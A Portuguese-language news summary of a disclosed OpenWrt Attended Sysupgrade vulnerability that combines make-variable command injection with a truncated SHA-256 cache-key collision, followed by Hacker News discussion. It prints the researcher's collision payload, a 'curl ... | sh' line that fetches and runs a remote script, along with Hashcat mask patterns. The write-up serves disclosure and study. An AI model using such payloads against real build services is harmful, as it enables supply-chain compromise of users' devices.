2 pontos por GN⁺ 2024-12-10 | 1 comentários | Compartilhar no WhatsApp
  • O recurso de atualização via web do OpenWrt, Attended Sysupgrade, tinha uma arquitetura em que o firmware era gerado em um servidor de build online, e a combinação de injeção de comandos com colisão de SHA-256 truncado podia fazer com que artefatos de build incorretos fossem retornados a uma solicitação legítima
  • Como o valor de packages da solicitação era passado para a variável PACKAGES= de make manifest, devido ao comportamento de expansão de variáveis do make, um invasor podia executar comandos arbitrários dentro do contêiner do imagebuilder
  • O hash da lista de pacotes não usava o SHA-256 completo, mas apenas os 12 primeiros caracteres, ou seja, 48 bits, como parte da chave de cache, permitindo que listas de pacotes diferentes gerassem o mesmo hash de solicitação
  • O pesquisador obteve uma velocidade de cerca de 18 bilhões de hashes por segundo com um Hashcat modificado e uma RTX 4090, e conseguiu validar a sobrescrita dos artefatos .bin do imagebuilder usando um payload de injeção de comandos com colisão
  • Após a denúncia privada da vulnerabilidade, a equipe do OpenWrt suspendeu temporariamente o sysupgrade.openwrt.org e publicou uma versão corrigida em menos de 3 horas, mas não foi possível confirmar se já havia exploração anterior

Estrutura de build online de firmware do Attended Sysupgrade

  • A interface web LuCI do OpenWrt inclui o Attended Sysupgrade, um recurso que usa um serviço online para compilar novo firmware
  • O serviço de build roda em sysupgrade.openwrt.org e, quando o usuário seleciona o dispositivo-alvo e os pacotes desejados, gera uma nova imagem de firmware
  • Ao solicitar a atualização, o OpenWrt do lado do usuário envia as seguintes informações ao servidor
    • Arquitetura-alvo
    • Perfil do dispositivo
    • Pacotes selecionados
  • Com base nessas informações, o servidor compila a imagem de firmware, a devolve ao dispositivo OpenWrt, e o dispositivo grava a imagem recebida na flash
  • Se o servidor que compila imagens com pacotes fornecidos pelo usuário não estiver suficientemente isolado, isso se torna uma superfície de ataque à cadeia de suprimentos, pois o resultado do build é aplicado diretamente ao dispositivo

Injeção de comandos por meio do valor de PACKAGES

  • O servidor sysupgrade.openwrt.org é um projeto open source, e o código-fonte está em openwrt/asu
  • O ambiente de build é executado em um contêiner criado com podman.containers.create e usa configurações como cap_drop=["all"], no_new_privileges=True e privileged=False
  • A vulnerabilidade ocorria no ponto de chamada de make manifest
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • O target manifest do imagebuilder do OpenWrt repassa o valor de PACKAGES na forma USER_PACKAGES="$(PACKAGES)"
  • Como o make expande variáveis antes da execução de comandos, valores controlados pelo usuário não eram tratados com segurança mesmo quando cercados por aspas simples
    • Em um Makefile de exemplo, ao executar make var="'; whoami #", whoami é executado mesmo dentro de echo '$(var)'
  • Como o parâmetro packages da solicitação entrava na variável PACKAGES, um invasor podia inserir comandos em valores que pareciam nomes de pacotes e executar comandos arbitrários dentro do contêiner do imagebuilder
  • Mesmo que o contêiner estivesse isolado do host, como o binário gerado era assinado com uma chave privada em uma etapa posterior, essa injeção de comandos levava a uma vulnerabilidade de cadeia de suprimentos

Chave de cache SHA-256 truncada para 12 caracteres

  • get_request_hash concatena vários campos da solicitação de build para criar um hash da solicitação, e esse hash é usado como chave do cache de build
  • A lista de pacotes não entra diretamente como string; em vez disso, o resultado de get_packages_hash(build_request.packages) é incluído no hash externo da solicitação
  • get_packages_hash remove pacotes duplicados, ordena a lista e calcula o SHA-256 da string unida por espaços, mas retorna o resultado truncado para os 12 primeiros caracteres
  • O prefixo de 12 caracteres do SHA-256 tem 48 bits, e o espaço possível é de 2^48 = 281,474,976,710,656 valores
  • Como o hash externo da solicitação inclui esse hash de pacotes truncado, ao criar uma colisão no hash dos pacotes, listas de pacotes diferentes passam a compartilhar a mesma chave de cache
  • Como resultado, o servidor podia retornar artefatos de build incorretos para outras solicitações de pacotes

Encontrando um payload com colisão usando Hashcat

  • Como não encontrou uma ferramenta de força bruta para correspondência parcial de SHA-256, o pesquisador criou seu próprio programa em OpenCL, mas calcular 100 milhões de hashes levava 10 segundos, uma velocidade semelhante à de hash em CPU
  • Depois, modificou o Hashcat para imprimir hashes quando apenas 8 caracteres coincidissem, e usou um pequeno script para verificar se havia colisão de 12 caracteres
  • A lista de pacotes legítima foi obtida em firmware-selector.openwrt.org, e seu SHA-256 era 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb
    • Os 12 primeiros caracteres eram 8f7018b33d94
    • O payload de ataque também precisava ter o mesmo prefixo de 12 caracteres
  • Inicialmente, foi executada em uma RTX 4090 uma máscara no formato `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`, chegando a cerca de 500 milhões de hashes por segundo
  • Como ?l gera a-z, o espaço de 10 caracteres é de 26^10 = 141,167,095,653,376, cerca de metade de 2^48
  • Ao aumentar a máscara para 11 caracteres e mover a posição da máscara para o início do comando, a velocidade aumentou bastante
    • O padrão final foi `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • Com esse padrão, o Hashcat calculou cerca de 18 bilhões de hashes por segundo
  • Em menos de 1 hora, foi encontrada a seguinte colisão de 12 caracteres
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • O SHA-256 dessa string é 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, cujos 12 primeiros caracteres são iguais aos da lista de pacotes legítima

Retorno de firmware incorreto pela combinação das duas vulnerabilidades

  • Ao enviar o payload com colisão no parâmetro packages, ocorria a injeção de comandos, e um script era executado a partir de tmp.ryotak.net
  • O script de validação acrescentava código a /builder/scripts/json_overview_image_info.py para sobrescrever os artefatos criados pelo imagebuilder
    • Lia a lista de arquivos em BIN_DIR
    • Procurava um arquivo cujo nome terminasse em .bin e escrevia "test" em seu conteúdo
  • Devido à colisão de hash, o servidor retornava o artefato de build sobrescrito ao usuário que havia solicitado a lista de pacotes legítima
  • Se esse método fosse explorado, o usuário atualizaria para um firmware malicioso, o que poderia levar ao comprometimento do dispositivo

Denúncia e correção

  • A vulnerabilidade foi informada à equipe do OpenWrt por meio de uma denúncia privada de vulnerabilidade no GitHub
  • Após confirmar o problema, a equipe do OpenWrt suspendeu temporariamente o serviço sysupgrade.openwrt.org e iniciou uma investigação
  • A versão corrigida foi publicada em menos de 3 horas, e o serviço também foi reiniciado
  • Os dois problemas foram corrigidos, mas como a vulnerabilidade existiu por algum tempo, não foi possível saber se outra pessoa já a havia explorado
  • A equipe do OpenWrt publicou um aviso para que os usuários pudessem verificar e detectar possível comprometimento de seus dispositivos

Conclusão

  • O sysupgrade.openwrt.org podia ser comprometido pela combinação de injeção de comandos e colisão de SHA-256 truncado
  • Trata-se de um caso em que um ataque de colisão de hash foi bem-sucedido por força bruta em uma aplicação real, criando um caminho de ataque à cadeia de suprimentos
  • A equipe do OpenWrt corrigiu o problema e notificou os usuários em pouco tempo, mas serviços de build online precisam tratar chaves de cache e validação de entradas de forma muito conservadora

1 comentários

 
GN⁺ 2024-12-10
Comentários no Hacker News
  • A vulnerabilidade que faltou no artigo é que passa a ser normalizado executar código direcionado a usuários específicos ou dispositivos específicos
    Não há verificação de reprodutibilidade, e ninguém tem como confirmar que esse serviço de builds e downloads personalizados não produziu um build com backdoor
    É preciso garantir o uso de builds como o do xz-utils usado por Andres Freund, ou builds que pesquisadores de segurança possam obter depois para verificar se há implantes de cadeia de suprimentos em software open source[1]
    Houve um texto antigo explicando a tentativa da Mozilla, depois interrompida, de registrar publicamente os builds de release em uma árvore de Merkle[2]. O Google organizou a implementação dos builds de firmware do Pixel, mas os apps distribuídos pela Google Play Store parecem vulneráveis (a menos que exista algum outro log que eu não tenha encontrado)[3]. A Apple, ao mirar builds por dispositivo individual na distribuição de firmware e apps, sem transparência de build, parece ainda pior que o Google em termos de transparência binária
    Um bom exemplo é o repositório de ebuilds do Gentoo. Ele contém checksums de código-fonte em um único repositório Git/árvore de Merkle, então pode continuar sendo uma das maiores e mais amplamente distribuídas árvores de Merkle entre softwares open source
    [1] Depois do backdoor do xz-utils, alguns pesquisadores fizeram varreduras automáticas/semiautomáticas para procurar, em builds de software open source, arquivos inexplicáveis de alta entropia que pudessem conter código malicioso oculto. Em builds personalizados por usuário ou por dispositivo, isso é impossível, a menos que todos os builds sejam tornados públicos para análise posterior e venham acompanhados de um log público (árvore de Merkle) desses builds publicados
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • É uma boa ideia, e eu também apoio, mas é preciso lembrar que a reprodutibilidade depende de determinismo
      Muitos elementos que entram no pipeline de build são inerentemente não determinísticos, porque decisões no momento da compilação podem variar de uma execução para outra. Mesmo deixando de lado problemas de flags, é assim; na prática, o objetivo de um compilador otimizador chega perto disso. Como muitos projetos de builds reprodutíveis descobriram, quando se ativa a otimização, a reprodutibilidade basicamente deixa de ser garantida
    • No caso do Google Play: https://developer.android.com/guide/app-bundle/code-transpar...
      Até onde sei, não há um log centralizado, e fica a cargo do desenvolvedor do app publicar por conta própria sua chave ou o log dos arquivos de transparência
    • Usar esse tipo de serviço de build é, para começo de conversa, o mesmo que dizer: “eu não sou um alvo valioso o suficiente para sofrer um ataque direcionado”
    • Procurar, com varreduras automáticas/semiautomáticas, arquivos inexplicáveis de alta entropia que possam conter código malicioso oculto é algo fácil de contornar. Basta distribuir a entropia
    • Lembro que a equipe de transparência de certificados do Google praticamente chegou a projetar também uma transparência de firmware não só para Android, mas para Linux como um todo
  • "".join também não é perigoso?
    Se for algo como get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ..., mover caracteres entre campos adjacentes pode manter o mesmo hash
    Mesmo sem conseguir tomar o controle direto do sistema, daria para causar contaminação de cache com uma imagem quebrada ou induzir um downgrade

    • Sim. Pelo motivo descrito, ao fazer hash de várias entradas, deve-se usar HMAC
      Correção: o certo seria dizer hashing incremental, não HMAC
  • É por isso que open source nunca pode competir com software proprietário corporativo:
    porque corrigiu em 3 horas em vez de fazer as pessoas esperarem 6 meses por um patch, não tentou processar quem reportou o problema e não ofereceu apenas um pequeno desconto para você jogar fora um dispositivo “antigo”, mas perfeitamente funcional, e comprar um novo

    • Seria melhor deixar mais claro que isso é sarcasmo. Inglês não é minha língua nativa, então no começo li “they” como se se referisse a “software proprietário corporativo”, e entendi que o OpenWRT era a opção perigosa que tinha cometido todas as ações listadas
    • É exatamente por isso que gosto do OpenWrt. Eles pedem até para pessoas como eu, que usam leitor de tela, testarem se a interface web funciona corretamente
    • Isso é verdade, mas parece que o OpenWRT corrigiu o truncamento de hash, porém ainda não corrigiu a injeção de comandos
      Espero que planejem corrigir a injeção de comandos também. Como o texto diz, as imagens geradas são assinadas. Mesmo sem assinatura, ainda é um problema de execução de código a partir de entrada de usuário não confiável. E vulnerabilidades podem se encadear, como neste caso de colisão de hash
    • Tenho um roteador que sou obrigado a usar por causa do ISP, e ele teve várias CVEs, de nível ruim a realmente grave, a maioria delas com anos de idade
      Posso pedir substituição, mas será pelo mesmo modelo. O ISP não se importa nem um pouco com segurança e não aplica patches. Isso é completamente absurdo, ainda mais tendo acesso exclusivo ao roteador e até login remoto
    • Isso só é possível em alguns poucos projetos open source que têm apoio corporativo e recursos para corrigir rápido
      Na maioria dos projetos open source, os mantenedores estão sobrecarregados demais ou simplesmente não querem corrigir problemas de segurança
  • Primeiro, este é um caso em que a ferramenta era open source, embora não tivesse sido feita originalmente para esse uso, e foi escrita sem BuilderFactoryProvider, então pôde ser ajustada ao trabalho em pouco tempo
    Desculpem repetir algo que já foi dito, mas isso me incomoda muito todos os dias
    Se fosse uma grande empresa, provavelmente levaria -1 ano para corrigir. Porque ela simplesmente processaria a pessoa e tentaria prendê-la o mais rápido possível, e jamais lançaria um patch
    O OpenWrt, depois de receber as informações, derrubou o serviço inseguro; os usuários já estavam em segurança graças ao shutdown enquanto o relatório era verificado; depois fizeram o patch e o distribuíram em 3 horas. Impressionante

  • Fico curioso para saber como as pessoas chegam à ideia de truncar hashes. Qual é o objetivo ou o benefício?

    • Uma função de hash truncada não é vulnerável a ataques de extensão de comprimento. Mas, em geral, usa-se SHA-512 e trunca-se para 256 bits. Pelos padrões atuais, algo mais curto que isso dificilmente pode ser considerado seguro.
    • Às vezes fazem isso para se adequar a limites de tamanho já existentes em ferramentas ou bancos de dados. Ou quando o hash é usado apenas como um simples identificador de localização, e não para verificação de integridade.
      Não acho que seja uma boa prática, mas, na prática, as pessoas fazem concessões.
    • Segundo o commit, fizeram isso para reduzir o nome do arquivo de download e o tamanho da URL.
    • Também se usa quando é necessário um payload menor.
      Segundo a resposta de @Reid em [2] e a resposta de @ThomasPornin em [3], a ideia de truncar hashes é totalmente apoiada até pelo NIST. Na prática, SHA-224 é um SHA-256 truncado, e SHA-384 é um SHA-512 truncado.
      https://security.stackexchange.com/a/97389
    • Fazem isso ao migrar de SHA-1 para SHA-256, mas sem querer mudar o formato dos dados usado para checagem de integridade ou armazenamento de chaves.
  • O texto foi bom. Fiquei um pouco surpreso que tenha sido necessária aquela quantidade de computação em GPU para encontrar uma colisão tão curta, mas foi bom ver a implementação.
    Sobre a última seção: 40 mil dólares por mês de análise de segurança é um preço razoável? Se for, então um bom pesquisador de segurança ganha algo em torno de 500 mil dólares por ano?

    • Isso quer dizer que uma boa empresa de pesquisa em segurança talvez consiga gerar 500 mil dólares de receita com um pesquisador excelente. Mas, para isso, precisa conseguir trabalho suficiente para manter essa pessoa 100% alocada. Considerando férias remuneradas, na prática é menos.
    • Para mim, parece bem razoável. Empresas de pentest com as quais trabalhei no passado cobravam algo nessa faixa e, ainda assim, só rodavam varreduras preguiçosas com nmap/metasploit e empacotavam tudo em um PDF convincente.
    • Na era pós-LLM, uma hora de computação em uma 4090 não é “tanta coisa assim”; está mais para “até pouco”. Dá para fazer por menos de 1 dólar.
    • 2^(12*4) significa que há 281.474.976.710.656 strings possíveis de 12 caracteres, então conseguir varrer tudo isso em uma hora é realmente impressionante.
  • O que quer dizer que o desempenho do hashcat varia em várias ordens de grandeza dependendo da ordem dos argumentos? Ele escaneia o padrão-alvo na linha de argumentos a cada execução?

    • Pode ser algo como arrombar uma fechadura: começa pela esquerda e verifica se dá para continuar ou se deve descartar aquela tentativa. Nesse caso, colocar as “opções” no início evita ter que recriá-las toda vez. Talvez, por algum motivo, ele não faça cache de prefixos, ou não consiga fazê-lo.
      Ou talvez seja uma estrutura em que, como ao contar números,
      100000000000
      010000000000
      110000000000
      001000000000
      a maior parte da variação acontece à esquerda, e as mudanças à direita aparecem raramente. Seria interessante alguém que conheça o hashcat responder. Eu só estou chutando.
  • O processo de ataque foi muito bem escrito e fácil de acompanhar.